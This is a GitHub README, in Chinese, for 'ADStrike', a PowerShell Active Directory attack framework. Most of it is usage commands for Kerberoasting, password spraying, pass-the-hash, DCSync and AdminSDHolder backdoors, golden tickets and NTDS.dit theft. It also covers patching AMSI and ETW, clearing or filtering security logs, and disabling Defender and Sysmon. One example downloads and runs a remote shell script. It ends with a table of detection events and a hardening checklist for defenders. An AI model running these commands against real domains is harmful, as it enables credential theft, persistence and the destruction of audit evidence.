RemmyNine/ADStrike
GitHub: RemmyNine/ADStrike
ADStrike 是一个纯 PowerShell 实现的模块化活动目录渗透测试与红队框架,覆盖从侦察到数据窃取的完整 AD 攻击链。
Stars: 0 | Forks: 0
# ADStrike
```
___ __ __ ___ __
/ | / /__ / /_ / | __ __ ____/ /
/ /| | / / -_) __/ / /| |/ / / / / __ /
/ ___ |/ /__ / / / ___ / /_/ / /_/ /
/_/ |_/____/_/ /_/ |_\__,_/\__,_/
AD Pentest & Red Team Framework v1.1
```
## 目录
- [免责声明](#disclaimer)
- [功能](#features)
- [仓库结构](#repository-layout)
- [安装说明](#installation)
- [快速入门](#quick-start)
- [CLI 参考](#cli-reference)
- [模块](#modules)
- [Recon](#1-recon---reconnaissance)
- [Credentials](#2-credentials---kerberoast--as-rep--spray--dcsync)
- [横向移动](#3-lateral-movement)
- [权限提升](#4-privilege-escalation)
- [权限维持](#5-persistence)
- [数据窃取](#6-exfiltration)
- [防御规避](#7-defense-evasion)
- [信息收集](#8-information-gathering)
- [输出格式](#output-formats)
- [防御说明](#defensive-notes)
- [参考文献](#references)
## 免责声明
本工具仅供**授权的安全测试、红队演练及教育目的**使用。对您不拥有或未获得明确授权测试的系统使用本工具是非法的。作者对滥用行为不承担任何责任。务必签署交战规则和授权范围协议。ADStrike 会生成相关工件并触发检测;请据此妥善规划您的操作。
## 功能
* **纯 PowerShell** + .NET,无需外部二进制文件
* **模块化架构** - 按需加载
* **跨平台兼容** - 可在任何加入域或可通过 LDAP 访问的 Windows 主机上运行(支持 PowerShell 5.1 / 7)
* **统一的 CLI** - 单个 `ADStrike.ps1` 入口点,采用基于动词的模块设计
* 针对破坏性操作提供**内置安全提示**
* 支持多种输出格式(Table / JSON / CSV)及可选的会话日志
* **覆盖完整的 AD 攻击链**:
* 侦察 -> 初始访问 -> 权限提升 -> 横向移动 -> 权限维持 -> 数据窃取
## 仓库结构
```
ADTools/
|-- ADStrike.ps1 # Main CLI dispatcher (entry point)
|-- README.md # This file
|-- lib/
| |-- Common.ps1 # Shared helpers (LDAP, output, init)
|-- Modules/
|-- Recon.ps1 # Enumeration
|-- Credentials.ps1 # Kerberoast / AS-REP / Spray / DCSync audit
|-- LateralMovement.ps1 # WMI / PSRemoting / PSExec / DCOM / PtH
|-- PrivEsc.ps1 # ACL audit / GPO / LAPS / ADCS ESC / local
|-- Persistence.ps1 # DCSync ACL / AdminSDHolder / Golden-Silver / GPO
|-- Exfiltration.ps1 # VSS / DiskShadow / IFM / SAM / LSA / GPP
|-- DefenseEvasion.ps1 # AMSI / ETW / Logging / Defender / Sysmon / Console cleanup
```
## 安装说明
无需安装 - 本框架完全可移植。
```
# 将 ADTools 目录克隆或复制到您的目标主机
cd C:\Tools\ADTools
# 为当前进程绕过执行策略
Set-ExecutionPolicy -Scope Process Bypass
# 运行 help
powershell -ExecutionPolicy Bypass -File .\ADStrike.ps1 -Module list
```
### 前置条件
| 组件 | 用途 | 适用模块 |
|-----------|---------|--------------|
| PowerShell 5.1+ | 引擎 | 所有模块 |
| `System.DirectoryServices` (内置) | LDAP 查询 | 所有模块 |
| `System.IdentityModel` (内置) | Kerberos 票据请求 | Kerberoast, AS-REP Roast |
| `Microsoft.ActiveDirectory.Management` | AD PowerShell cmdlets (可选) | 部分快捷功能 |
| `GroupPolicy` PS 模块 | GPO 操作 | 权限维持 GPO |
| 目标主机上启用 WinRM | PSRemoting | Lateral -PSRemoting |
| 目标主机本地管理员 | WMI / SCM / VSS | Lateral -WMI/-PSExec, Exfil -VSS |
| Domain Admin / DC 访问权限 | DCSync, NTDS.dit | 数据窃取, 权限维持 |
| 管理员 (提权) | AMSI/ETW 补丁, Defender 控制 | 防御规避 |
## 快速入门
```
# 1) 全面侦察
.\ADStrike.ps1 -Module recon -All
# 2) 仅 Kerberoastable 账户
.\ADStrike.ps1 -Module recon -Target Kerberoastable
# 3) Kerberoast 所有 SPN
.\ADStrike.ps1 -Module kerberoast -OutputFile tickets.csv
# 4) AS-REP Roast
.\ADStrike.ps1 -Module asreproast -OutputFile asrep.csv
# 5) 智能密码喷洒
.\ADStrike.ps1 -Module spray -UserListFile .\users.txt -Password 'Spring2026!' -JitterMs 1500 -ThresholdPercent 5
# 6) WMI exec (使用备用凭据)
.\ADStrike.ps1 -Module wmiexec -ComputerName FS01 -Command 'cmd /c whoami' -Credential (Get-Credential)
# 7) 权限提升审计
.\ADStrike.ps1 -Module privesc -All
# 8) 通过 VSS 窃取 NTDS.dit
.\ADStrike.ps1 -Module exfil -VSS -DomainController DC01
# 9) 持久化:DCSync ACL 后门
.\ADStrike.ps1 -Module persistence -DCSync -SamAccountName 'helpdesk' -Credential (Get-Credential)
# 10) 运行任何模块前的防御规避
.\ADStrike.ps1 -Module evasion -AMSI -AMSI Method Patch -Force
.\ADStrike.ps1 -Module evasion -ETW -Force
.\ADStrike.ps1 -Module evasion -PSLogOff -ClearHistory -Force
```
## CLI 参考
```
Usage: ADStrike.ps1 -Module [options]
Common options (apply to most modules):
-Domain Override auto-detected domain
-DomainController Override auto-detected DC
-Credential Alternate credentials
-OutputFormat Table|JSON|CSV
-OutputFile Export to file
-LogPath Mirror session output to log
-NoColor Disable ANSI colors
-Verbose Debug/trace
-Force Skip confirmations on destructive ops
-Help / -Module list : list modules
-Module : invoke that module (use -Module for module-specific help)
```
## 模块
### 1. `recon` - 侦察
对 AD 林进行全面枚举。
**目标:** `All` (默认), `Domain`, `DomainControllers`, `Users`, `Groups`, `Computers`, `PrivilegedUsers`, `Kerberoastable`, `ASREPRoastable`, `Delegation`, `Trusts`, `GPOs`, `OUs`, `CATemplates`, `CAServers`, `Sessions`。
```
# 全面侦察
.\ADStrike.ps1 -Module recon -All -OutputFormat JSON -OutputFile recon.json
# 仅特定 OU 中的用户
.\ADStrike.ps1 -Module recon -Target Users -SearchBase "OU=Staff,DC=acme,DC=local"
# 信任 (用于跨域信任滥用)
.\ADStrike.ps1 -Module recon -Target Trusts -Credential (Get-Credential)
```
返回内容(部分):
| 目标 | 获取的信息 |
|-------------------|--------------|
| DomainInfo | 功能级别、林信息、DC |
| DomainControllers | 操作系统、GC 标志、DNS 主机名 |
| Users | SamAccountName, UAC 标志、上次登录、上次设置密码时间、SPN、adminCount |
| Groups | 作用域、成员数量、adminCount、managed-by |
| Computers | 操作系统、委派信任、上次登录 |
| PrivilegedUsers | `admincount=1` 的账户 |
| Kerberoastable | 所有带有 SPN 的用户对象 |
| ASREPRoastable | 所有设置了 `DONT_REQUIRE_PREAUTH` 的账户 |
| Delegation | 非约束与约束委派账户 |
| Trusts | 方向、类型、属性(过滤 SID、RC4 等) |
| GPOs | 显示名称、版本、DN |
| OUs | OU 列表 |
| CAServers | AD CS 服务器(如果 `ADCS` 模块可用) |
| CATemplates | AD CS 模板(ESC 探测) |
| Sessions | 当前进程、用户、组、完整性级别 |
### 2. `credentials` - Kerberoast / AS-REP / Spray / DCSync
#### `kerberoast`
使用内置的 `System.IdentityModel.Tokens.KerberosRequestorSecurityToken` API 请求带有 SPN 账户的 TGS 票据。
```
.\ADStrike.ps1 -Module kerberoast
.\ADStrike.ps1 -Module kerberoast -SamAccountName svc-sql -TgtCount 5 -OutputFile svc-sql.csv
.\ADStrike.ps1 -Module kerberoast -SPN 'MSSQLSvc/sql01.acme.local:1433'
```
#### `asreproast`
为设置了 `DONT_REQUIRE_PREAUTH` 的账户请求 AS-REP。还包含一个辅助功能,可通过 `Credentials.SetPreAuth` 操作**为任何账户切换 DONT_REQ_PREAUTH 标志**(需要 `User-Force-Change-Password` 或更高权限)。
```
.\ADStrike.ps1 -Module asreproast
.\ADStrike.ps1 -Module asreproast -SamAccountName jane.doe -TgtCount 5 -OutputFile asrep.csv
```
#### `spray`
带有抖动和锁定感知的智能密码喷射。
```
.\ADStrike.ps1 -Module spray -UserListFile .\users.txt -Password 'Spring2026!' `
-JitterMs 1500 -ThresholdPercent 5
```
* `-JitterMs` 在尝试之间增加随机延迟 (0..N)。
* `-ThresholdPercent` 在目标超过用户总数的百分比时会发出警告/中止(有助于避免大规模账户锁定)。
* `-Force` 跳过确认提示。
#### DCSync 权限审计
```
.\ADStrike.ps1 -Module creds -Action DCSyncAudit
```
返回在域 NC、Configuration NC 和 Schema NC 上拥有 `Replicating Directory Changes`、`... All` 或 `... In Filtered Set` 权限的主体。
### 3. `lateral` - 横向移动
```
# 连接性测试 (SMB/WinRM/RDP/LDAP/Kerberos)
.\ADStrike.ps1 -Module lateral -Test -ComputerName FS01,DC01
# WMI 命令执行
.\ADStrike.ps1 -Module wmiexec -ComputerName FS01 -Command 'cmd /c whoami' -Credential (Get-Credential)
# PowerShell Remoting
.\ADStrike.ps1 -Module lateral -PSRemoting -ComputerName FS01 `
-ScriptBlock { hostname; whoami /all }
# PSExec 式服务执行
.\ADStrike.ps1 -Module psexec -ComputerName FS01 -BinaryPath 'C:\beacon.exe'
# DCOM ShellWindows
.\ADStrike.ps1 -Module lateral -DCOMShellWindows -ComputerName FS01 -Command 'calc.exe'
# DCOM MMC20
.\ADStrike.ps1 -Module lateral -DCOMMMC20 -ComputerName FS01 -Command 'calc.exe'
# 计划任务 (延迟)
.\ADStrike.ps1 -Module lateral -ScheduledTask -ComputerName FS01 `
-Command 'powershell -enc ...' -DelaySeconds 60
# 通过 WMI 进行 Pass-the-Hash (NTLM relay 使用 LM:NTHash 格式)
.\ADStrike.ps1 -Module lateral -PassTheHash -ComputerName FS01 `
-Username Administrator -NTHash aad3b435b51404eeaad3b435b51404ee -Command 'whoami'
# 使用显式凭据的 Pass-the-Hash
.\ADStrike.ps1 -Module lateral -PassTheHash -ComputerName FS01 `
-Credential (Get-Credential) -Command 'whoami'
# 会话枚举
.\ADStrike.ps1 -Module lateral -Sessions -ComputerName FS01
.\ADStrike.ps1 -Module lateral -NetSessions -ComputerName FS01
```
### 4. `privesc` - 权限提升
审计 AD 和本地主机以查找常见的提权路径。
```
# 运行所有内容
.\ADStrike.ps1 -Module privesc -All
# ACL 滥用路径 (GenericAll / WriteDacl / WriteOwner / GenericWrite)
.\ADStrike.ps1 -Module privesc -ACL
# ADCS ESC1 / ESC4
.\ADStrike.ps1 -Module privesc -ESC1
.\ADStrike.ps1 -Module privesc -ESC4
# LAPS 读取
.\ADStrike.ps1 -Module privesc -LAPS -ComputerNameLAPS 'FS01'
# 本地:未加引号的服务路径、可修改的服务目录、AlwaysInstallElevated
.\ADStrike.ps1 -Module privesc -LocalPaths
.\ADStrike.ps1 -Module privesc -LocalModifiable
.\ADStrike.ps1 -Module privesc -AlwaysInstallElevated
```
包含漏洞利用辅助功能:
* `Add-ADSGroupMember`(利用对组的 GenericAll/GenericWrite 权限)
* `Invoke-ADSForceChangePassword`(利用 User-Force-Change-Password 权限)
* `Invoke-ADSWriteDACL`(利用对目标的 WriteDacl 权限)
### 5. `persistence` - 权限维持
```
# 向组中添加成员
.\ADStrike.ps1 -Module persistence -AddMember -GroupName 'Domain Admins' -MemberSam 'svc-backup'
# 创建新用户
.\ADStrike.ps1 -Module persistence -NewUser -SamAccountName 'helpdesk' `
-Password 'P@ssw0rd123!' -OU 'OU=Service,DC=acme,DC=local' -Force
# 授予 DCSync 权限
.\ADStrike.ps1 -Module persistence -DCSync -SamAccountName 'helpdesk' -Credential (Get-Credential)
# AdminSDHolder 滥用 (ACE)
.\ADStrike.ps1 -Module persistence -AdminSDHolder -SamAccountName 'helpdesk' -Rights GenericAll
# 强制 SDProp 将 ACE 推送到受保护账户
.\ADStrike.ps1 -Module persistence -Module persistence -Module persistence
# Golden / Silver ticket 规范 (Rubeus / Mimikatz 调用)
.\ADStrike.ps1 -Module persistence -Golden -KrbtgtHash -DomainSID S-1-5-21-...
.\ADStrike.ps1 -Module persistence -Silver -ServiceHash -SPN 'MSSQLSvc/sql:1433' -DomainSID S-1-5-21-...
# Skeleton key (需要 DC 代码执行 - PSRemoting 包装器)
.\ADStrike.ps1 -Module persistence -Skeleton -DomainController DC01
# GPO 计划任务 / Run 键
.\ADStrike.ps1 -Module persistence -GPO -GPOName 'Workstation Policy' -Command 'powershell -enc ...'
# Machine account quota
.\ADStrike.ps1 -Module persistence -Quota
```
### 6. `exfil` - 数据窃取
```
# 通过 VSS shadow 获取 NTDS.dit + SYSTEM
.\ADStrike.ps1 -Module exfil -VSS -DomainController DC01
# 通过 diskshadow 获取相同内容
.\ADStrike.ps1 -Module exfil -DiskShadow -DomainController DC01
# Install From Media (ntdsutil ac in ntds ifm)
.\ADStrike.ps1 -Module exfil -IFM -DomainController DC01
# 本地 SAM/SYSTEM/SECURITY 转储
.\ADStrike.ps1 -Module exfil -Hives -ComputerName WS01
# LSA secrets (通过 P/Invoke 的 LsaRetrievePrivateData)
.\ADStrike.ps1 -Module exfil -LSA -ComputerName WS01
# GPP cpassword 解密
.\ADStrike.ps1 -Module exfil -GPP -Credential (Get-Credential)
# WiFi 配置文件 / 密钥
.\ADStrike.ps1 -Module exfil -Wifi
# 浏览器凭据存储定位器
.\ADStrike.ps1 -Module exfil -Browser
# 敏感文件搜寻 (.kdbx, .pem, id_rsa, *.pfx, ...)
.\ADStrike.ps1 -Module exfil -Sensitive -Path C:\Users
# 网络共享
.\ADStrike.ps1 -Module exfil -Shares -ComputerName FS01
```
解析输出的方式:
* `secretsdump.py -system SYSTEM -sam SAM -ntds ntds.dit LOCAL`
* `impacket-secretsdump ...`
* `hashcat -m 1000 / -m 1100 / -m 13100 / -m 18200`
### 7. `evasion` - 防御规避
全面的全内存补丁、日志抑制和操作安全清理。需要提权(管理员)会话。
```
# 完整安全上下文快照
.\ADStrike.ps1 -Module evasion -Status
```
返回:PS 版本、版本类型、执行策略、语言模式、ScriptBlock / Module / Transcription 日志记录状态、AMSI 状态、ETW 状态、Defender 状态、LSA/Credential Guard、Sysmon、WDAC/AppLocker。
#### AMSI 绕过(3 种方法)
| 方法 | 技术 | 效果 |
|--------|-----------|--------|
| `Patch` | 覆盖 `AmsiScanBuffer` 函数序言 | 为所有扫描返回 `E_INVALIDARG` |
| `Drain` | 覆盖 `AmsiScanBuffer` | 返回 0 (AMSI_RESULT_CLEAN) - 所有内容均放行 |
| `CLSID` | 反射:设置 `amsiInitFailed = true` | AMSI 永不初始化 |
```
.\ADStrike.ps1 -Module evasion -AMSI -AMSI Method Patch -Force
.\ADStrike.ps1 -Module evasion -AMSI -AMSI Method Drain -Force
.\ADStrike.ps1 -Module evasion -AMSI -AMSI Method CLSID -Force
```
#### ETW 绕过(2 种方法)
| 方法 | 技术 | 效果 |
|--------|-----------|--------|
| `Patch` | 覆盖 `EtwEventWrite` 函数序言 | `xor eax,eax; ret` - 返回 STATUS_SUCCESS (0) |
| `Provider` | .NET 反射 | 尝试禁用 ETW 提供程序 |
```
.\ADStrike.ps1 -Module evasion -ETW -Force
.\ADStrike.ps1 -Module evasion -ETW -ETWMethod Provider -Force
```
#### PowerShell 日志抑制
禁用 HKCU 和 HKLM(以管理员身份运行时)中的 ScriptBlock、Module 和 Transcription 日志记录。移除现有的策略键。
```
.\ADStrike.ps1 -Module evasion -PSLogOff -Force
.\ADStrike.ps1 -Module evasion -PSLogOn
```
#### 事件日志篡改
```
# 清除标准日志
.\ADStrike.ps1 -Module evasion -ClearLogs -LogNames Security,System,Application
# 扩展的默认集合包括:
# Security, System, Application, Windows PowerShell,
# Microsoft-Windows-PowerShell/Operational, Sysmon, Defender,
# TerminalServices-LocalSessionManager, TerminalServices-RemoteConnectionManager
# 选择性过滤 - 移除匹配模式的条目
.\ADStrike.ps1 -Module evasion -FilterLog -LogNames Security -LogFilterPattern 'mimikatz' -Force
```
#### Defender / AV 控制
```
# 添加排除项 (路径、进程、扩展名)
.\ADStrike.ps1 -Module evasion -DefenderAdd -Path 'C:\Windows\Temp' -Process 'beacon.exe' -Force
.\ADStrike.ps1 -Module evasion -DefenderAdd -Path 'C:\Tools' -Extension '.ps1' -Force
# 禁用实时保护 + 行为监控 + IOAV + 首次拦截
.\ADStrike.ps1 -Module evasion -DefenderRT -Force
# 重新启用所有 Defender 保护
.\ADStrike.ps1 -Module evasion -DefenderRestore
# 完整的 Defender 状态 (排除项、签名年龄、保护状态)
.\ADStrike.ps1 -Module evasion -DefenderStatus
```
#### PowerShell 降级
启动支持 PSv2 的主机(绕过 AMSI + ScriptBlockLogging)。
```
# 交互式降级
.\ADStrike.ps1 -Module evasion -Downgrade -Force
# 直接在降级的主机中执行命令
.\ADStrike.ps1 -Module evasion -Downgrade -Command 'IEX (Get-WebClient).DownloadString("http://10.0.0.1/shell.ps1")'
```
#### 控制台 / 历史记录清理
```
# 清除 PSReadline 历史记录文件 + transcript 文件
.\ADStrike.ps1 -Module evasion -ClearHistory -Force
# 清除 Run 对话框 MRU + cmd.exe MRU
.\ADStrike.ps1 -Module evasion -ClearMRU -Force
```
#### Sysmon 规避
```
# 停止 Sysmon 服务 (重启后重新启动)
.\ADStrike.ps1 -Module evasion -StopSysmon -Force
# 检查 Sysmon 状态
.\ADStrike.ps1 -Module evasion -SysmonStatus
```
#### LSA / Credential Guard / 应用程序控制
```
# LSA PPL, Credential Guard, LsaCfgFlags
.\ADStrike.ps1 -Module evasion -LSA
# WDAC / AppLocker 状态
.\ADStrike.ps1 -Module evasion -WDACStatus
# Constrained Language Mode 检查
.\ADStrike.ps1 -Module evasion -CLMCheck
```
### 8. `infogather` - 信息收集
外部网络侦察,包含三种经过 OPSEC 调优的模式。用于身份验证前阶段:目标发现、端口/服务枚举、DNS 情报以及目标域的 OSINT。
#### 模式
| 模式 | 并发数 | 默认端口集 | 抖动 | OPSEC 策略 |
|-------------|-------------|------------------|-----------|---------------|
| Normal | 32 | 前 1000 个 TCP | 0-50ms | 均衡 |
| Stealth | 1 | 约 21 个常见端口 | 500-3000ms| 低速慢行 |
| Aggressive | 200 | 全部 65535 | 0 | 高调 / 追求速度 |
#### 目标
| 参数 | 示例 | 备注 |
|---------------|--------------------------------------|-------|
| `-IGTarget` | `dc01.corp.local` | 单个主机 (FQDN 或 IP) |
| `-Targets` | `dc01.corp.local,fs01.corp.local` | 主机数组 |
| `-CIDR` | `10.0.0.0/24` | 与 `-PingSweep` 配合使用 |
| `-IGDomain` | `corp.local` | 用于 DNS/OSINT/邮件/证书透明度 |
| `-DNSServer` | `10.0.0.1` | 要查询的 DNS 服务器 |
| `-URL` | `https://target/` | 用于 `-HTTP` 探测 |
| `-Community` | `public` | SNMP 社区字符串(默认为 public) |
| `-Credential` | `(Get-Credential)` | 用于 SMB / WMI / RPC |
| `-ComputerName` | `fs01` | 用于 `-SMBShares` 等 |
#### 端口选择
- `-AllPorts` - 全部 1-65535
- `-CommonPorts` - 21 个及以上最常见的 TCP 服务
- `-TopPorts` - Nmap 风格的前 1000 个(Normal 模式下的默认值)
- `-IGPorts 80,443,8080-8090` - 显式列表 / 范围
#### 操作
| 开关 | 用途 |
|--------|---------|
| `-LocalInfo` | 本地子网、监听端口、ARP、路由 |
| `-PingSweep` | 对 CIDR 进行 ICMP 扫描 |
| `-PortScan` | TCP 连接扫描 |
| `-SYNScan` | 原始套接字 SYN 扫描(需要管理员权限) |
| `-UDPScan` | UDP 顶级端口扫描 |
| `-ServiceProbe` | 抓取服务 banner / 版本 |
| `-DNS` | DNS 记录枚举 |
| `-ReverseDNS` | 跨 CIDR 的 PTR 查找 |
| `-ZoneTransfer` | AXFR 尝试 |
| `-DNSCache` | 本地 DNS 缓存转储 |
| `-SMBShares` | 枚举 SMB 共享 |
| `-SMBSessions` | 活动 SMB 会话 |
| `-SMBOS` | 通过 SMB 获取远程操作系统信息 |
| `-NetBIOS` | NetBIOS 名称解析 |
| `-RPC` | RPC 端点绑定 |
| `-SNMP` | SNMP sysDescr / sysName |
| `-HTTP` | Web 指纹(标题、服务器、标头) |
| `-OSINT` | crt.sh, HackerTarget, ThreatCrowd 子域 |
| `-EmailHarvest` | 从搜索引擎收集邮箱 |
| `-CertTransparency` | 证书透明度日志 |
| `-Whois` | IP WHOIS 查询 |
| `-DecoyScan` | 扫描中的诱饵源 IP| `-IGAll` | 完整的 Normal 模式扫描 |
#### 示例
```
# 本地侦察 (无网络)
.\ADStrike.ps1 -Module infogather -Mode Normal -LocalInfo
# 隐蔽 ICMP 扫描
.\ADStrike.ps1 -Module infogather -Mode Stealth -PingSweep -CIDR 10.0.0.0/24
# 激进的全端口扫描
.\ADStrike.ps1 -Module infogather -Mode Aggressive -PortScan -IGTarget dc01.corp.local -AllPorts
# DNS + 区域传送
.\ADStrike.ps1 -Module infogather -Mode Normal -DNS -ZoneTransfer -IGDomain corp.local -DNSServer 10.0.0.1
# OSINT + 电子邮件收集 + 证书透明度
.\ADStrike.ps1 -Module infogather -Mode Normal -OSINT -EmailHarvest -CertTransparency -IGDomain corp.local
# SMB 共享 (已认证)
.\ADStrike.ps1 -Module infogather -Mode Normal -SMBShares -ComputerName fs01 -Credential (Get-Credential)
# SYN 扫描 (原始 socket - 仅限提权后)
.\ADStrike.ps1 -Module infogather -Mode Aggressive -SYNScan -IGTarget 10.0.0.5 -CommonPorts
# 全面自动扫描
.\ADStrike.ps1 -Module infogather -Mode Normal -IGAll -IGDomain corp.local -Targets dc01.corp.local,fs01.corp.local
```
#### OPSEC 注意事项
- **Stealth** 使用串行扫描,仅扫描常见端口,并带有 500-3000ms 的抖动。在 Stealth 模式下避免使用 `-IGAll` — 它会扩展为完整的枚举集。
- **SYN 扫描**需要原始套接字权限。在现代 Windows 上,除非以 NT AUTHORITY\SYSTEM 身份运行,否则会被阻止。尽可能首选 `-PortScan`。
- **OSINT / EmailHarvest / CertTransparency / Whois** 使用公共 Web API(crt.sh, HackerTarget, ThreatCrowd)。应将出站 IP 视为已被蓝队掌握。
- 所有开关均可组合使用;调度器会读取 `$PSBoundParameters.Keys`。
## 输出格式
```
# 表格 (默认,彩色)
.\ADStrike.ps1 -Module recon -Target Users
# JSON
.\ADStrike.ps1 -Module recon -All -OutputFormat JSON
# CSV
.\ADStrike.ps1 -Module recon -Target Kerberoastable -OutputFormat CSV -OutputFile krbt.csv
```
将所有内容记录到文件:
```
.\ADStrike.ps1 -Module recon -All -LogPath C:\ProgramData\ads.log
```
## 防御说明
如果您在紫队 / 检测工程环境中使用 ADStrike,应考虑以下**检测机会**:
| 模块 | 生成的事件 ID / IOC |
|--------------------|----------------------------|
| `recon` | 4624/4625 登录激增,目录服务对象访问引发 4662 |
| `kerberoast` | 4769 TGS 请求 (RC4-HMAC, 无预身份验证) |
| `asreproast` | 带有 `0x400000` 标志的 4768,4738 UAC 更改 |
| `spray` | 4625 爆发,4771 kerberos 预身份验证失败,4740 账户锁定 |
| `lateral -WMI` | wmiprvse.exe 子进程 (Sysmon EID 1) |
| `lateral -PSExec` | 7045 "Service Control Manager" 事件 (PSExec 风格服务) |
| `lateral -DCOM` | MMC20, ShellWindows COM 对象 |
| `lateral -Task` | 4698/4702 计划任务创建 |
| `lateral -PtH` | 4624 类型 9 / 类型 3,仅限 NTLM |
| `privesc -LAPS` | 读取 `ms-Mcs-AdmPwd` 引发的 4662 |
| `privesc -ESC1` | 4886/4887 证书注册事件 |
| `persistence -DCSync` | 带有 `DS-Replication-Get-Changes-All` 的 4662 |
| `persistence -AdminSDHolder` | 针对 `CN=AdminSDHolder,CN=System` 的 4662 |
| `exfil -VSS` | 13/202 VSS 创建事件,4663 读取 NTDS.dit |
| `evasion -AMSI` | 4104 ScriptBlock 日志记录被抑制 |
| `evasion -ETW` | 事件跟踪丢失,ETW 提供程序分离警报 |
| `evasion -ClearLogs` | 1102 审计日志清除事件 |
| `evasion -Defender` | MpPreference 更改 (4688 包含 Set-MpPreference) |
| `evasion -Sysmon` | 服务停止事件 (7036/7039) |
加固清单:
* 启用 ScriptBlock 日志记录 (4104) 和 Module 日志记录 (4103)
* 启用命令行审计(4688 包含 cmdline)
* 限制 `Replicating Directory Changes` ACL
* 尽可能禁用 `DONT_REQUIRE_PREAUTH` (UAC 4194304)
* 将 `ms-DS-Machine-Account-Quota` 设置为 0
* 为本地管理员使用 LAPS(或 LAPSv2)
* 为 Tier-0 使用 PAW (Privileged Access Workstations)
* 启用 Credential Guard + LSA PPL (RunAsPPL)
* 采用 Tier 模型 + 纯净源主体
* 对 AdminSDHolder、DCSync、GPO、OU 进行持续的 ACL 审计
* 监控 AMSI 补丁尝试(amsiInitFailed 反射,对 amsi.dll 调用 VirtualProtect)
* 针对 amsi.dll / ntdll.dll 补丁监控 Sysmon EID 7(镜像已加载)
* ETW 提供程序篡改检测
## 参考文献
* [ired.team - AD 方法论](https://www.ired.team/)
* [HackTricks - AD](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
* [The Hacker Recipes](https://www.thehackerrecipes.com/)
* [ADCS ESC1-ESC8 (SpecterOps)](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [Sean Metcalf - ADSecurity](https://adsecurity.org/)
* [Will Schroeder - ACL 滥用](https://wald0.com/?p=112)
* [Charlie Clark - NTLM/Kerberos](https://en.hackndo.com/kerberos-silver-golden-tickets/)
* [AMSI 绕过技术](https://amsi.fail/)
* [ETW 补丁](https://blog.sektor7.net/#!res/2021/edr.md)
## 许可证
MIT - 详情请参阅 `LICENSE`(如有需要,由用户提供)。
**请负责任地使用,且仅针对您获得授权测试的系统。**
标签:AI合规, Checkov, DNS 反向解析, HTTP, IPv6, IP 地址批量处理, Libemu, PE 加载器, PowerShell, Web报告查看器, 多人体追踪, 多语言支持, 安全测试框架, 模拟器, 活动目录